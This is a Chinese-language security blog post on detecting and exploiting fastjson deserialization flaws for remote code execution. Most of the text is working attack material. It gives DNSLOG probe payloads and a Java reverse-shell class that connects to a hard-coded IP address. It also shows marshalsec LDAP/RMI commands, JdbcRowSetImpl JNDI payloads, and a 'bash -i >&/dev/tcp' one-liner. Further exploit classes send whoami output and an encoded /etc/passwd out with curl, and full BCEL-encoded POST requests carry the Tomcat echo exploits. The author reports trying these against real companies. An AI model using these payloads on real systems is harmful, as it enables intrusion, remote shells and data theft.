<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    fastjson 漏洞的發現與測試

    VSole2022-01-05 20:00:05

    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。

    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些采集存在的沒有源碼的對象。

    如何發現存在 Fastjson 漏洞的網站

    從 fastjson 漏洞形成的原因看,是目標網站在解析 json 時,未對 json 內容進行驗證,直接將 json 解析成 java 對象并執行,這就給了攻擊者可乘之機,構造對應的 payload ,讓系統執行,然后達到代碼執行,甚至命令執行的目的。

    所以尋找存在 Fastjson 漏洞的方法,就是先找到參數中內容是 json 數據的接口,然后使用構造好的測試 payload 進行提交驗證,檢測原理跟 sql 注入差不多,首先找到參數提交的地方,然后再用 payload 嘗試。

    xray 高級版可以針對 fastjson 進行檢測,需要依賴反連平臺,具體配置可參考官方配置文檔:

    https://docs.xray.cool/#/configration/reverse

    掃描結果如圖

    點擊該結果,會有詳情,及測試數據包:

    利用 DNSLOG 驗證漏洞

    基于以上目標,用 dnslog 來測試,我使用的平臺是 ceye.io,域名為:in0i3v.ceye.io

    方法一:利用 java.net.Inet [4 | 6] 地址

    {"@type":"java.net.Inet4Address","val":"in0i3v.ceye.io"}{"@type":"java.net.Inet6Address","val":"in0i3v.ceye.io"}
    

    方法二:利用 java.net.InetSocketAddress

    {"@type":"java.net.InetSocketAddress"{"address":,"val":"in0i3v.ceye.io"}}
    

    方法三:利用 java.net.URL

    {{"@type":"java.net.URL","val":"http://in0i3v.ceye.io"}:"x"}
    

    最終測試結果如圖:

    反彈 SHELL(目標 java 版本過高,反彈 shell 不成功)

    基于 RMI 的利用方式,JDK 版本限制在 6u132、7u131、8u121 之前,在 8u122 及之后的版本中,加入了反序列化白名單的機制,關閉了 RMI 遠程加載代碼

    基于 LDAP 的利用方式,JDK 版本限制于 6u211、7u201、8u191、11.0.1 之前,在 8u191 版本中,Oracle 對LDAP 設置限制,發布了 CVE-2018-3149,關閉 JNDI 遠程類加載

    我使用的服務器地址是:103.80.27.165,將下面的 paylaod 保存為 Exploit.java,反彈 shell java payload:

    # Exploit.javaimport java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/103.80.27.165/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}
    

    然后編譯成 Exploit.class:

    javac Exploit.java

    在 Exploit.class 的目錄下,啟動 WEB 服務:

    python3 -m http.server 8080 或者 python -m SimpleHTTPServer 8080

    再開一個窗口,監聽 8888 端口:

    nc -lvvp 8888

    準備好工具 marshalsec(也可以找編譯好的版本),項目地址:

    https://github.com/mbechler/marshalsec

    利用 LDAP 服務

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://103.80.27.165:8080/#Exploit 1389
    

    利用 payload:

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://103.80.27.165:1389/Exploit","autoCommit":true}}}
    

    利用 RMI 服務

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://103.80.27.165:8080/#Exploit 9999
    

    另外一款一鍵反彈的版本

    工具地址(這位師傅寫的,一鍵起服務和生成惡意代碼整個 rmi+class 文件的 jar 包):

    https://github.com/wyzxxz/fastjson_rce_tool

    第一步:只需要在自己的服務器上啟動

    java -cp fastjson_tool.jar fastjson.HRMIServer 0.0.0.0 9999 "bash=bash -i >&/dev/tcp/103.80.27.165/8888 0>&1"
    

    第二步:發送 payload

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://103.80.27.165:9999/Object","autoCommit":true}}}
    

    利用 dns 來傳輸 whoami 命令執行之后的結果

    Exploit 腳本內容:

    import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class Exploit {    public static String exec(String cmd) throws Exception {        String sb = "";        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));        String lineStr;        while ((lineStr = inBr.readLine()) != null)            sb += lineStr + "";        inBr.close();        in.close();        return sb;    }    public Exploit() throws Exception {        String result = "";        result = exec("whoami");        String cmd = "curl http://in0i3v.ceye.io/" + result;        throw new Exception(exec(cmd));    }    public static void main(String[] args) throws Exception {        String result = "";        result = exec("whoami");        String cmd = "curl http://in0i3v.ceye.io/" + result;        throw new Exception(exec(cmd));    }}
    

    其他命令結果編碼后傳輸的版本(解決 反彈 shell 出不來的問題):

    import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.ByteArrayOutputStream;import java.io.InputStreamReader;public class Exploit {    //轉化字符串為十六進制編碼    public static String toHexString(String s) {        String str = "";        for (int i = 0; i < s.length(); i++) {            int ch = (int) s.charAt(i);            String s4 = Integer.toHexString(ch);            str = str + s4;        }        return str;    }    // 轉化十六進制編碼為字符串    public static String toStringHex1(String s) {        byte[] baKeyword = new byte[s.length() / 2];        for (int i = 0; i < baKeyword.length; i++) {            try {                baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(                        i * 2, i * 2 + 2), 16));            } catch (Exception e) {                e.printStackTrace();            }        }        try {            s = new String(baKeyword, "utf-8");// UTF-16le:Not        } catch (Exception e1) {            e1.printStackTrace();        }        return s;    }    // 轉化十六進制編碼為字符串    public static String toStringHex2(String s) {        byte[] baKeyword = new byte[s.length() / 2];        for (int i = 0; i < baKeyword.length; i++) {            try {                baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(                        i * 2, i * 2 + 2), 16));            } catch (Exception e) {                e.printStackTrace();            }        }        try {            s = new String(baKeyword, "utf-8");// UTF-16le:Not        } catch (Exception e1) {            e1.printStackTrace();        }        return s;    }    public static void main(String[] args) {        System.out.println(encode("中文"));        System.out.println(decode(encode("中文")));    }    /*     * 16進制數字字符集     */    private static String hexString = "0123456789ABCDEF";    /*     * 將字符串編碼成16進制數字,適用于所有字符(包括中文)     */    public static String encode(String str) {        // 根據默認編碼獲取字節數組        byte[] bytes = str.getBytes();        StringBuilder sb = new StringBuilder(bytes.length * 2);        // 將字節數組中每個字節拆解成2位16進制整數        for (int i = 0; i < bytes.length; i++) {            sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));            sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));        }        return sb.toString();    }    /*     * 將16進制數字解碼成字符串,適用于所有字符(包括中文)     */    public static String decode(String bytes) {        ByteArrayOutputStream baos = new ByteArrayOutputStream(                bytes.length() / 2);        // 將每2位16進制整數組裝成一個字節        for (int i = 0; i < bytes.length(); i += 2)            baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString                    .indexOf(bytes.charAt(i + 1))));        return new String(baos.toByteArray());    }    public static String exec(String cmd) throws Exception {        String sb = "";        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));        String lineStr;        while ((lineStr = inBr.readLine()) != null)            sb += lineStr + "";        inBr.close();        in.close();        return sb;    }    public Exploit() throws Exception {        String result = "";        result = encode(exec("cat /etc/passwd"));        String cmd = String.format("curl -d \"%s\" http://in0i3v.ceye.io/ ", result);        throw new Exception(exec(cmd));    }}
    

    利用 TomcatEcho 回顯命令

    參考項目:

    https://github.com/depycode/fastjson-local-echo

    適用場景:

    fastjson <= 1.2.24
    1.2.33 <= fastjson <= 1.2.47
    jdk <= 8u251
    存在 tomcat-dbcp

    fastjson <= 1.2.24 poc

    POST /json HTTP/1.1Host: 127.0.0.1:9092Content-Type: application/jsoncmd: ver && echo fastjsonContent-Length: 3327{    {        "@type": "com.alibaba.fastjson.JSONObject",        "x":{                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",                "driverClassLoader": {                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"                },                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"        }    }: "x"}
    

    1.2.33 <= fastjson <= 1.2.47 poc

    POST /json HTTP/1.1Host: 127.0.0.1:9092Content-Type: application/jsoncmd: whoamiContent-Length: 3647{    "xx":    {        "@type" : "java.lang.Class",        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"    },    "x" : {        "name": {            "@type" : "java.lang.Class",            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"        },        {            "@type":"com.alibaba.fastjson.JSONObject",            "c": {                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",                "driverClassLoader": {                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"                },                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"            }        } : "xxx"    }}
    

    實戰效果:

    總結

    本文均在實際的漏洞環境下驗證,發現很多企業的存在漏洞,但是反彈 SHELL 都存在問題,猜測原因是目標系統的 java 版本比較高,無法觸發遠程加載惡意腳本并執行,均可以利用 dnslog 的方式驗證成功。

    --- EOF ---

    推薦↓↓↓

    stringfastjson
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    漏洞分析花了蠻多時間
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    fastjson的漏洞主要都是因為AutoType造成的,后續的修復和其他版本的繞過都圍繞此來進行。
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    java版本: java version "1.8.0_131" Java(TM) SE Runtime Environment (build 1.8.0_131-b11) Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的
    Fastjson 是阿里巴巴公司開源的一款 json 解析器,其性能優越,被廣泛應用于各大廠商的 Java 項目中。fastjson 于 1.2.24 版本后增加了反序列化白名單,而在 1.2.48 以前的版本中,攻擊者可以利用特殊構造的 json 字符串繞過白名單檢測,成功執行任意命令。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类